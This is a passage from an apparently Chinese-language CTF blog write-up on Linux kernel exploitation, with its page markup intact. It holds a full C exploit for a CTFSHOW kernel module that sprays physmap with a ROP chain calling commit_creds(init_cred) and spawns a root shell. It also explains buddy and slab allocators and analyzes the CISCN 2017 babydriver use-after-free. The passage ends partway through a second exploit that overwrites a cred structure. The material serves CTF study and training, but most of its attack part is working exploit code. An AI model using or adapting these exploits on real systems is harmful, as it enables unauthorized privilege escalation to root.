0x44444444;\"\n        \"mov rbx,   0x55555555;\"\n        \"mov r11,   0x66666666;\"\n        \"mov r10,   0x77777777;\"\n        \"mov r9,    pop_rsp_ret;\"   \/\/ stack migration again\n        \"mov r8,    try_hit;\"\n        \"mov rax,   0x10;\"\n        \"mov rcx,   0xaaaaaaaa;\"\n        \"mov rdx,   try_hit;\"\n        \"mov rsi,   0x1bf52;\"\n        \"mov rdi,   dev_fd;\"\n        \"syscall\"\n    );<\/code><\/pre>\n\n\n\n<p>rsp\u548crip\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-22-1024x580.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"580\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-22-1024x580.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1347\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>3. rip\u6267\u884cadd rsp, 0xN\u540ersp\u6307\u5411r9\uff1apop_rsp_ret\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-21-1024x597.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-21-1024x597.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1346\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>4.rip\u6267\u884cret\uff0crsp\u628apop_rsp_ret\u6307\u4ee4\u5730\u5740pop\u7ed9rip\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-23-1024x557.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"557\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-23-1024x557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1348\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>5. rip\u6267\u884cpop_rsp_ret\u7684pop rsp\uff0crsp\u88ab\u52ab\u6301\u5230try_hit\uff0c\u5b9e\u73b0\u6808\u8fc1\u79fb\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-24-1024x559.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-24-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1349\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>6. rip\u6267\u884cpop_rsp_ret\u5269\u4e0b\u7684ret\uff0c\u518d\u6b21\u6536\u5230rsp pop\u6765\u7684add rsp, 0xN ; ret\uff0c\u6b63\u5f0f\u542f\u52a8ROP\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-25-1024x542.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"542\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-25-1024x542.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1350\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>exp\u6539\u81eahttps:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/rop\/ret2dir<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define _GNU_SOURCE\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sys\/mman.h&gt;\n\nsize_t  prepare_kernel_cred = 0xffffffff810c9540;\nsize_t  commit_creds = 0xffffffff810c92e0;\nsize_t  init_cred = 0xffffffff82a6b700;\nsize_t  pop_rdi_ret = 0xffffffff8108c6f0;\nsize_t  pop_rax_ret = 0xffffffff810115d4;\nsize_t  pop_rsp_ret = 0xffffffff811483d0;\nsize_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;\nsize_t  add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;\nsize_t  add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;\nsize_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;\nsize_t  ret = 0xffffffff8108c6f1;\n\nvoid    (*kgadget_ptr)(void);\nsize_t  *physmap_spray_arr&#91;16000];\nsize_t  page_size;\nsize_t     try_hit;\nint     dev_fd;\n\nsize_t user_cs, user_ss, user_rflags, user_sp;\n\nvoid saveStatus(void)\n{\n    __asm__(\"mov user_cs, cs;\"\n            \"mov user_ss, ss;\"\n            \"mov user_sp, rsp;\"\n            \"pushf;\"\n            \"pop user_rflags;\"\n            );\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Status has been saved.\\033&#91;0m\\n\");\n}\n\nvoid errExit(char * msg)\n{\n    printf(\"\\033&#91;31m\\033&#91;1m&#91;x] Error : \\033&#91;0m%s\\n\", msg);\n    exit(EXIT_FAILURE);\n}\n\nvoid getRootShell(void)\n{   \n    puts(\"\\033&#91;32m\\033&#91;1m&#91;+] Backing from the kernelspace.\\033&#91;0m\");\n\n    if(getuid())\n    {\n        puts(\"\\033&#91;31m\\033&#91;1m&#91;x] Failed to get the root!\\033&#91;0m\");\n        exit(-1);\n    }\n\n    puts(\"\\033&#91;32m\\033&#91;1m&#91;+] Successful to get the root. Execve root shell now...\\033&#91;0m\");\n    system(\"\/bin\/sh\");\n    exit(0);\/\/ to exit the process normally instead of segmentation fault\n}\n\nvoid constructROPChain(size_t *rop)\n{\n    int idx = 0;\n\n    \/\/ gadget to trigger pt_regs and for slide\n    for (; idx &lt; (page_size \/ 8 - 0x30); idx++)\n        rop&#91;idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;\n\n    \/\/ more normal slide code\n    for (; idx &lt; (page_size \/ 8 - 0x10); idx++)\n        rop&#91;idx] = ret;\n\n    \/\/ rop chain\n    rop&#91;idx++] = pop_rdi_ret;\n    rop&#91;idx++] = init_cred;\n    rop&#91;idx++] = commit_creds;\n    rop&#91;idx++] = swapgs_restore_regs_and_return_to_usermode;\n    rop&#91;idx++] = *(size_t*) \"0\";\n    rop&#91;idx++] = *(size_t*) \"0\";\n    rop&#91;idx++] = (size_t) getRootShell;\n    rop&#91;idx++] = user_cs;\n    rop&#91;idx++] = user_rflags;\n    rop&#91;idx++] = user_sp;\n    rop&#91;idx++] = user_ss;\n}\n\nint main(int argc, char **argv, char **envp)\n{\n    saveStatus();\n\n    dev_fd = open(\"\/dev\/ctfshow\", O_RDWR);\n    if (dev_fd &lt; 0)\n        errExit(\"dev fd!\");\n\n    page_size = sysconf(_SC_PAGESIZE);\n\n    \/\/ construct per-page rop chain\n    physmap_spray_arr&#91;0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n    constructROPChain(physmap_spray_arr&#91;0]);\n\n    \/\/ spray physmap, so that we can easily hit one of them\n    puts(\"&#91;*] Spraying physmap...\");\n    for (int i = 1; i &lt; 15000; i++)\n    {\n        physmap_spray_arr&#91;i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n        if (!physmap_spray_arr&#91;i])\n            errExit(\"oom for physmap spray!\");\n        memcpy(physmap_spray_arr&#91;i], physmap_spray_arr&#91;0], page_size);\n    }\n\n    puts(\"&#91;*] trigger physmap one_gadget...\");\n    \/\/sleep(5);\n\n    try_hit = 0xffff888000000000 + 0x7000000;\n    __asm__(\n        \"mov r15,   0xbeefdead;\"\n        \"mov r14,   0x11111111;\"\n        \"mov r13,   0x22222222;\"\n        \"mov r12,   0x33333333;\"\n        \"mov rbp,   0x44444444;\"\n        \"mov rbx,   0x55555555;\"\n        \"mov r11,   0x66666666;\"\n        \"mov r10,   0x77777777;\"\n        \"mov r9,    pop_rsp_ret;\" \n        \"mov r8,    try_hit;\"\n        \"mov rax,   0x10;\"\n        \"mov rcx,   0xaaaaaaaa;\"\n        \"mov rdx,   try_hit;\"\n        \"mov rsi,   0x1bf52;\"\n        \"mov rdi,   dev_fd;\"\n        \"syscall\"\n    );\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"536\" height=\"152\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1338\"  sizes=\"auto, (max-width: 536px) 100vw, 536px\" \/><\/div><\/figure>\n\n\n\n<p>\u5982\u679c\u4e0d\u662f\u56e0\u4e3a\u5bc4\u5b58\u5668\u53ea\u5269\u4e24\u4e2a\u53ef\u7528\uff0c\u6211\u611f\u89c9\u8c8c\u4f3c\u90fd\u4e0d\u9700\u8981\u914d\u5408physmap spray\uff0c\u53ea\u6253pt_regs\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"UAF\"><\/span>UAF<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u8fdb\u5165\u5806\u4e4b\u524d\uff0c\u6709\u5fc5\u8981\u4e86\u89e3\u4e00\u4e0blinux\u5185\u6838\u7684\u5206\u914d\u673a\u5236\uff0c\u4e5f\u5c31\u662fbuddy\u4f19\u4f34\u5206\u914d\u5668\u548cslab\/slub\/slob\u5206\u914d\u5668\uff0c\u5206\u914d\u673a\u5236\u76f8\u8f83\u4e8e\u7528\u6237\u6001\u7684ptmalloc\u8981\u7b80\u5355\u4e00\u4e9b\u3002<\/p>\n\n\n\n<p>Linux \u5185\u6838\u4e2d buddy \u4f19\u4f34\u5206\u914d\u5668\u662f\u5e95\u5c42\u6838\u5fc3\u7684\u5927\u5757\u5185\u5b58\u5206\u914d\u5668\uff0c\u4ee5<strong>\u7269\u7406\u9875\u6846<\/strong>\u4e3a\u6700\u5c0f\u5206\u914d\u5355\u4f4d\uff08\u5e38\u89c4\u7cfb\u7edf\u4e2d\u4e3a 4K\uff09\uff0c\u8bbe\u8ba1\u6709 11 \u4e2a order\uff08\u5bf9\u5e94 order 0~10\uff09\uff0c\u6bcf\u4e2a order \u4ee3\u8868 2 \u7684 order \u6b21\u65b9\u4e2a\u8fde\u7eed\u7269\u7406\u9875\u6846\uff0c\u56e0\u6b64\u53ef\u5206\u914d\u7684\u5185\u5b58\u5757\u5927\u5c0f\u4ece 4K\uff08order 0\uff09\u4f9d\u6b21\u9012\u589e\u81f3 4MB\uff08order 10\uff09\u3002\u5206\u914d\u8fc7\u7a0b\uff1a\u5206\u914d\u5185\u5b58\u65f6\u4f18\u5148\u67e5\u627e\u5339\u914d order \u7684\u7a7a\u95f2\u8fde\u7eed\u9875\u6846\uff0c\u65e0\u5339\u914d\u5219\u62c6\u5206\u66f4\u9ad8 order \u7684\u7a7a\u95f2\u5757\uff1b\u91ca\u653e\u5185\u5b58\u65f6\u4f1a\u68c0\u67e5\u5730\u5740\u8fde\u7eed\u3001\u5927\u5c0f\u76f8\u540c\u7684 \u201c\u4f19\u4f34\u5757\u201d\uff0c\u82e5\u5747\u4e3a\u7a7a\u95f2\u5219\u5408\u5e76\u4e3a\u66f4\u5927\u7684\u5757\uff0c\u4ee5\u6b64\u6709\u6548\u89e3\u51b3\u5185\u6838\u7269\u7406\u5185\u5b58\u7684<strong>\u5916\u90e8\u788e\u7247<\/strong>\u95ee\u9898\uff0c\u4e3a\u4e0a\u5c42\u5185\u5b58\u5206\u914d\u5668\u63d0\u4f9b\u8fde\u7eed\u7684\u9875\u6846\u8d44\u6e90\u652f\u6491\u3002<\/p>\n\n\n\n<p>slab \u5206\u914d\u5668\u662f\u57fa\u4e8e buddy \u5206\u914d\u5668\u5b9e\u73b0\u7684\u7ec6\u7c92\u5ea6\u5c0f\u5185\u5b58\u5206\u914d\u5668\uff0c\u4e13\u4e3a\u5185\u6838\u5c0f\u5185\u5b58\u5bf9\u8c61\uff08\u5982\u5404\u7c7b\u7ed3\u6784\u4f53\u3001\u6587\u4ef6\u63cf\u8ff0\u7b26\u3001\u5957\u63a5\u5b57\u7b49\uff09\u5206\u914d\u8bbe\u8ba1\uff0c\u6838\u5fc3\u89e3\u51b3 buddy \u5206\u914d\u7c92\u5ea6\u8fc7\u7c97\u5bfc\u81f4\u7684<strong>\u5185\u90e8\u788e\u7247<\/strong>\u95ee\u9898\uff0c\u540c\u65f6\u5927\u5e45\u63d0\u5347\u5c0f\u5bf9\u8c61\u7684\u5206\u914d\u4e0e\u91ca\u653e\u6548\u7387\u3002\u6bcf\u4e2a\u4ecebuddy\u5206\u914d\u5668\u83b7\u5f97\u7684\u5185\u5b58\u5757\u79f0\u4e3a\u4e00\u4e2aslab\uff0c\u6240\u4ee5\u4e00\u4e2aslab\u7684\u5927\u5c0f\u4e0d\u4e00\uff08 4K \u7684\u6574\u6570\u500d\uff09\uff0c\u5355\u4e2a slab \u5757\u4f1a\u88ab\u89c4\u6574\u5207\u5272\u4e3a\u591a\u4e2a\u76f8\u540c\u5927\u5c0f\u7684\u5185\u5b58\u5bf9\u8c61\uff08object\uff09\uff0c\u540c\u89c4\u683c object \u7684\u7ba1\u7406\u7531<strong>kmem_cache<\/strong>\u6838\u5fc3\u7ed3\u6784\u4f53\u7edf\u4e00\u8d1f\u8d23\u3002kmem_cache \u5305\u542b\u4e24\u4e2a\u5173\u952e\u5b50\u7ed3\u6784\uff1a\u4e00\u662f<strong>kmem_cache_cpu<\/strong>\uff0c\u4e3a\u6bcf\u4e2a CPU \u6838\u5fc3\u72ec\u6709\uff0c\u5185\u7f6e freelist \u6307\u9488\u6307\u5411\u672c\u5730\u53ef\u76f4\u63a5\u5206\u914d\u7684\u4e0b\u4e00\u4e2a\u7a7a\u95f2 object\uff0c\u5206\u914d\u65f6\u4f18\u5148\u4ece\u672c\u5730\u7f13\u5b58\u83b7\u53d6\u3001\u91ca\u653e\u65f6\u4f18\u5148\u653e\u56de\u672c\u5730\uff0c\u4ece\u6839\u672c\u4e0a\u51cf\u5c11 CPU \u95f4\u7684\u9501\u7ade\u4e89\uff1b\u4e8c\u662f<strong>kmem_cache_node<\/strong>\uff0c\u6309 NUMA \u8282\u70b9\u5212\u5206\uff08\u6bcf\u4e2a NUMA \u8282\u70b9\u4e00\u4e2a\uff09\uff0c\u5e76\u975e\u901a\u7528\u7f13\u5b58\uff0c\u5176\u7ef4\u62a4\u4e86\u8be5\u8282\u70b9\u4e0b full\uff08\u65e0\u7a7a\u95f2 object\uff09\u3001partial\uff08\u90e8\u5206\u7a7a\u95f2\uff09\u3001empty\uff08\u5168\u7a7a\u95f2\uff09\u4e09\u7c7b slab \u94fe\u8868\uff0c\u8d1f\u8d23 CPU \u672c\u5730\u7f13\u5b58\u7684\u8865\u5145\u4e0e\u5f52\u8fd8 \u2014\u2014 \u5f53 CPU \u672c\u5730 freelist \u65e0\u7a7a\u95f2\u5bf9\u8c61\u65f6\uff0c\u4f1a\u4ece\u8be5\u8282\u70b9\u7684 partial \u94fe\u8868\u4e2d\u6279\u91cf\u83b7\u53d6 object \u8865\u5145\uff1b\u5f53 CPU \u672c\u5730 freelist \u6ee1\u65f6\uff0c\u4f1a\u5c06\u591a\u4f59\u7a7a\u95f2 object \u6279\u91cf\u5f52\u8fd8\u7ed9\u8282\u70b9\u7684 slab \u94fe\u8868\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"CTFSHOW_358CISCN_%E2%80%93_2017_%E2%80%93_babydriver\"><\/span>CTFSHOW 358(CISCN &#8211; 2017 &#8211; babydriver)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90\"><\/span>\u6f0f\u6d1e\u89e3\u6790<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u4fdd\u62a4\uff1a\u5f00\u542fsmep\u4f46\u6ca1\u6709\u5f00\u542fsmap<\/p>\n\n\n\n<p>\u521d\u59cb\u6a21\u5757\u5982\u4e0b\uff0ccdev_init(&amp;cdev, &amp;fops);\u81ea\u5b9a\u4e49\u4e86\u4e00\u4e2a\u51fd\u6570\u8868fops\uff0c\u5bf9\/dev\/easydev\u8fdb\u884cread\u3001write\u7b49\u64cd\u4f5c\u7684\u65f6\u5019\u5c31\u4f1a\u91cd\u5b9a\u5411\u5230\u81ea\u5b9a\u4e49\u7684easyread\u3001easywrite\u4e0a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-26.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"958\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-26.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1354\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-27-1024x691.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"691\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-27-1024x691.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1355\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u4e2d\u6240\u6709\u51fd\u6570\u90fd\u662f\u76f4\u63a5\u5bf9\u4e00\u4e2a\u5168\u5c40\u53d8\u91cfeasydev_struct\u8fdb\u884c\u64cd\u4f5c\uff0c\u6240\u4ee5<\/p>\n\n\n\n<p>int fd1 = open(&#8220;\/dev\/easydev&#8221;, 2);<br>int fd2 = open(&#8220;\/dev\/easydev&#8221;, 2);<\/p>\n\n\n\n<p>\u4f1a\u4f7f\u5f97\u4e24\u4e2afd\u53e5\u67c4\u5b9e\u9645\u4e0a\u5bf9\u540c\u4e00\u4e2a\u5730\u5740\u8fdb\u884c\u64cd\u4f5c\uff0c\u800c\u5728easyioctl\u548ceasyrelease\u51fd\u6570\u4e2d\u5b58\u5728UAF\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-28.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"670\" height=\"501\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-28.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1356\"  sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"161\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1358\"  sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2\"><\/span>\u6f0f\u6d1e\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%95%E4%B8%80_%E7%9B%B4%E6%8E%A5UAF%E4%BF%AE%E6%94%B9cred%E7%BB%93%E6%9E%84%E4%BD%93\"><\/span>\u65b9\u6cd5\u4e00 \u76f4\u63a5UAF\u4fee\u6539cred\u7ed3\u6784\u4f53<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>\u5148\u7533\u8bf7fd1\u3001fd2\uff0c\u5229\u7528ioctl\u5728\u8be5\u5730\u5740\u5904\u7533\u8bf7\u4e00\u4e2acred\u7ed3\u6784\u4f53\u4e00\u6837\u5927\u5c0f\u7684chunk\uff08\u5373\u5185\u6838\u4e2d\u7684object\uff09\uff0cfree\u6389\uff0c\u901a\u8fc7fork\u4f1a\u518d\u6b21\u521b\u5efa\u4e00\u4e2acred\u7ed3\u6784\u4f53\uff0c\u5c31\u4f1a\u88ab\u5206\u914d\u5230\u8be5\u7a7a\u95f2chunk\uff0c\u7136\u540e\u5bf9fd2\u8fdb\u884c\u64cd\u4f5cwrite(fd2,cred,28);\u5c31\u53ef\u4ee5\u628acred\u7684uig gid\u90fd\u65390\uff0c\u6210\u529f\u63d0\u6743\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;stdio.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/wait.h&gt;\n#include&lt;fcntl.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(int argc, char **argv){\n    int fd1,fd2,id;\n    char cred&#91;0xa8] = {0};\n    fd1 = open(\"dev\/easydev\",O_RDWR);\n    fd2 = open(\"dev\/easydev\",O_RDWR);\n    ioctl(fd1,0x10001,0xa8);\n    close(fd1);\n    id = fork();\n    if(id == 0){\n        write(fd2,cred,28);\n        